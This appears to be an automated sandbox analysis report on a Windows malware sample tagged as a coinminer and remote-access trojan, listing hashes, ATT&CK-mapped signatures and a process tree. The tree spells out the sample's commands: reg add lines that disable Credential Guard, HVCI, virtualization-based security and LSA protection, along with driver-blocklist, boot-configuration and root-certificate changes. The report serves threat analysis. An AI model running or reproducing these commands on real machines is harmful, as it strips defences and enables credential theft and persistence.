303c7192eb303dd49611bac1a9080b709bab6e5190f0ebe9ffd46b1e5a2f1aa1

Resubmissions

09/08/2026, 06:53

260809-hnt6lssfph9

09/08/2026, 06:44

260809-hhqk8ssemf10

Analysis

max time kernel
22s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 06:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe
Size 2.8MB
Sample260809-hhqk8ssemf
SHA256 303c7192eb303dd49611bac1a9080b709bab6e5190f0ebe9ffd46b1e5a2f1aa1
MD5 7215bcc0186bf9bc5661f5080d2eb350
SHA1 c35ffe812063379967d0e429ef2f789417f7e066
SHA512 71fdc24a1631f69d5c53fb4164524c82e590a08063990b75465990e17becbeff111cddac78ae42af9a8fec51c82ef4f02fd2acf9c48f45733a25256628409cb6
SSDEEP 49152:OJH35kmJUU15kJBWSU1dN5jiF8IQJVqC:SX6mJUU+ISU1NgE
TLSH
T1AFD5AD13E292B0A1D22E05704672573DEAF57E214B24FBDBAFD0FD612D312D2963B219
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery evasion execution persistence ransomware

Malware Config

Signatures

Detects executables referencing many IR and analysis tools 12 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c48d-8.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-12-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-11-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-13-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-18-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-19-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-20-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-21-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-22-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-28-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-39-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/3672-41-0x0000000000400000-0x000000000071C000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
6132	bcdedit.exe
2976	bcdedit.exe
5096	bcdedit.exe

UPX dump on OEP (original entry point) 11 IoCs

resource	yara_rule
behavioral2/memory/3672-12-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-11-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-13-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-18-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-19-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-20-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-21-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-22-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-28-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-39-0x0000000000400000-0x000000000071C000-memory.dmp	UPX
behavioral2/memory/3672-41-0x0000000000400000-0x000000000071C000-memory.dmp	UPX

Installs a root certificate to the trusted certificate store 1 TTPs 2 IoCs

A root certificate was added to the trusted certificate store using CertUtil.

defense_evasion

Install Root Certificate

T1553.004

pid	Process
5784	cmd.exe
6004	certutil.exe

Manipulates Digital Signatures 1 TTPs 1 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\43DBB0D8926FEBC69B7663673161BC063ED10E04\Blob = 03000000010000001400000043dbb0d8926febc69b7663673161bc063ed10e0420000000010000001803000030820314308201fca003020102021057f22d200fedd2a646700c9ac5bfb563300d06092a864886f70d01010b050030163114301206035504030c0b57444b5465737443657274301e170d3236303533303231333735385a170d3336303533303231343735385a30163114301206035504030c0b57444b546573744365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb22151c5ed381ba1ca5d23d08543311f9eaa57b2af57911066d53e3ede87aa5b3f6e0b9aa5f054b68c2b559276e0998b8d01ef9ebb3b17326c2a3d23d0e1e6d13071bbd417b948db4b57308089c2e473952189376da210cdfd9aaa9b12b5762953c65b4834801996de86f85b2f91e9d1984cf488e690d42cf9e7ba15f12538c98a8baac5258c4f39a8beb44976d6e3f3ecb5966b990ea667dd4ed3bf6adf5e1a2f4b8356c819352747ee7fdbcd25202a82398df383668f939971c1b7150f9576eede0cfb3eea50464e7e8fb19cd9dd3c99efe5c4fc176e4c8855d4269fc649cf194916458797fdf63e6599a51d40260c900906a4eab95ae5d083c2f9962a7310203010001a35e305c300e0603551d0f0101ff040403020780302b0603551d250424302206082b06010505070303060a2b0601040182370a0305060a2b0601040182373d0101301d0603551d0e0416041415f59026fd3b5de62dca6813ea552d7344dbfaed300d06092a864886f70d01010b050003820101002614d970ce546514bb87c5088985e02b5132049872095c127a118a177ccd741532f0983f3b76090f5787f95ac45e808cf417b1e425f0f950627840010a63fa18331a4ebf53d4fd07828e7babeb25bb08fb5ae18336de0524a576f91edb486eab108347fc80f5b200af6830cf2652cd513bcb66ca6c241d7033c57de76bf1272d1737cece5bccffc5cc526f6ae26cb6a0dd1e8b974953f08aec4cacd9a807ddab182eeaa9558dc5bf8ff958fe738188b3d6360aace1b11eda3cc4904db15f4af5de9018410c9048da687dc83e63496d81f566963158f8f7617e3e94a42170b4c98e66df36c5c232c2e338ed49e6c9d83fdfd994e0025e52dc59fc1cc8a567f23f	certutil.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	reg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\longdiequdong1\ImagePath = "\\??\\C:\\Windows\\Temp\\longdiequdong1.sys"	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

persistence credential_access

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	reg.exe

Executes dropped EXE 2 IoCs

pid	Process
2820	longdiequdong1.sys
704	SignGuiPatcher.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	mountvol.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 37 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
636	cmd.exe
5208	cmd.exe
5088	cmd.exe
564	cmd.exe
5760	cmd.exe
1612	cmd.exe
5064	cmd.exe
5540	cmd.exe
1976	cmd.exe
3288	cmd.exe
3760	cmd.exe
5368	cmd.exe
4340	cmd.exe
3980	cmd.exe
2144	cmd.exe
5740	cmd.exe
1128	cmd.exe
3216	cmd.exe
1540	cmd.exe
992	cmd.exe
3004	cmd.exe
2528	cmd.exe
5184	cmd.exe
3452	cmd.exe
2400	cmd.exe
5960	cmd.exe
3356	cmd.exe
1116	cmd.exe
1712	cmd.exe
1956	cmd.exe
4756	cmd.exe
5900	cmd.exe
3704	cmd.exe
3588	cmd.exe
4192	cmd.exe
912	cmd.exe
1580	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 57 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

pid	Process
2376	reg.exe
4508	reg.exe
4900	reg.exe
248	reg.exe
5912	reg.exe
4728	reg.exe
5376	reg.exe
5804	reg.exe
3124	reg.exe
3748	reg.exe
2160	reg.exe
5644	reg.exe
2416	reg.exe
5872	reg.exe
1296	reg.exe
3524	reg.exe
5060	reg.exe
3404	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
704	SignGuiPatcher.exe
704	SignGuiPatcher.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
824	Process not Found
824	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	704	SignGuiPatcher.exe
Token: SeImpersonatePrivilege	704	SignGuiPatcher.exe
Token: SeDebugPrivilege	704	SignGuiPatcher.exe
Token: SeShutdownPrivilege	5092	shutdown.exe
Token: SeRemoteShutdownPrivilege	5092	shutdown.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe
3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe
4132	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3672 wrote to memory of 5740	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	89
PID 5740 wrote to memory of 1612	5740	cmd.exe	92
PID 1612 wrote to memory of 4132	1612	cmd.exe	93
PID 3672 wrote to memory of 1712	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	96
PID 1712 wrote to memory of 4508	1712	cmd.exe	98
PID 3672 wrote to memory of 5064	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	99
PID 5064 wrote to memory of 3124	5064	cmd.exe	101
PID 3672 wrote to memory of 5540	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	102
PID 5540 wrote to memory of 3524	5540	cmd.exe	104
PID 3672 wrote to memory of 3004	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	105
PID 3004 wrote to memory of 3748	3004	cmd.exe	107
PID 3672 wrote to memory of 2528	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	108
PID 2528 wrote to memory of 2160	2528	cmd.exe	110
PID 3672 wrote to memory of 1956	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	111
PID 1956 wrote to memory of 5060	1956	cmd.exe	113
PID 3672 wrote to memory of 3704	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	114
PID 3704 wrote to memory of 4900	3704	cmd.exe	116
PID 3672 wrote to memory of 4756	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	117
PID 4756 wrote to memory of 248	4756	cmd.exe	119
PID 3672 wrote to memory of 1976	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	120
PID 1976 wrote to memory of 5644	1976	cmd.exe	122
PID 3672 wrote to memory of 5184	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	123
PID 5184 wrote to memory of 5912	5184	cmd.exe	125
PID 3672 wrote to memory of 3980	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	126
PID 3980 wrote to memory of 4728	3980	cmd.exe	128
PID 3672 wrote to memory of 912	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	129
PID 912 wrote to memory of 5376	912	cmd.exe	131
PID 3672 wrote to memory of 2144	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	132
PID 2144 wrote to memory of 2416	2144	cmd.exe	134
PID 3672 wrote to memory of 3452	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	135
PID 3452 wrote to memory of 2376	3452	cmd.exe	137
PID 3672 wrote to memory of 1580	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	138
PID 1580 wrote to memory of 5872	1580	cmd.exe	140
PID 3672 wrote to memory of 3288	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	141
PID 3288 wrote to memory of 1296	3288	cmd.exe	143
PID 3672 wrote to memory of 3760	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	144
PID 3760 wrote to memory of 3404	3760	cmd.exe	146
PID 3672 wrote to memory of 3356	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	147
PID 3356 wrote to memory of 5368	3356	cmd.exe	149
PID 3672 wrote to memory of 5900	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	150
PID 5900 wrote to memory of 636	5900	cmd.exe	152
PID 3672 wrote to memory of 3588	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	153
PID 3588 wrote to memory of 5208	3588	cmd.exe	155
PID 3672 wrote to memory of 1128	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	156
PID 1128 wrote to memory of 3268	1128	cmd.exe	158
PID 3672 wrote to memory of 5088	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	159
PID 5088 wrote to memory of 3216	5088	cmd.exe	161
PID 3672 wrote to memory of 564	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	162
PID 564 wrote to memory of 5760	564	cmd.exe	164
PID 3672 wrote to memory of 1116	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	165
PID 1116 wrote to memory of 1484	1116	cmd.exe	167
PID 3672 wrote to memory of 4340	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	168
PID 4340 wrote to memory of 5804	4340	cmd.exe	170
PID 3672 wrote to memory of 1540	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	171
PID 1540 wrote to memory of 6132	1540	cmd.exe	173
PID 3672 wrote to memory of 4192	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	174
PID 4192 wrote to memory of 2976	4192	cmd.exe	176
PID 3672 wrote to memory of 2400	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	177
PID 2400 wrote to memory of 5096	2400	cmd.exe	179
PID 3672 wrote to memory of 5784	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	180
PID 5784 wrote to memory of 6004	5784	cmd.exe	182
PID 3672 wrote to memory of 992	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	183
PID 992 wrote to memory of 2896	992	cmd.exe	185
PID 3672 wrote to memory of 704	3672	2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe	186

C:\Users\Admin\AppData\Local\Temp\2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_7215bcc0186bf9bc5661f5080d2eb350_coinminer_elex_emotet_glassworm_remcos.exe"
1⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240713093_57822.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5740
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240713093_57822.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\system32\manage-bde.exe
      C:\Windows\Sysnative\manage-bde.exe -status C: -protectionaserrorlevel
      4⤵
      PID:4132
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4508
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3124
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5540
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3524
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3748
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2160
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5060
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4900
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:248
- C:\Windows\SysWOW64\cmd.exe
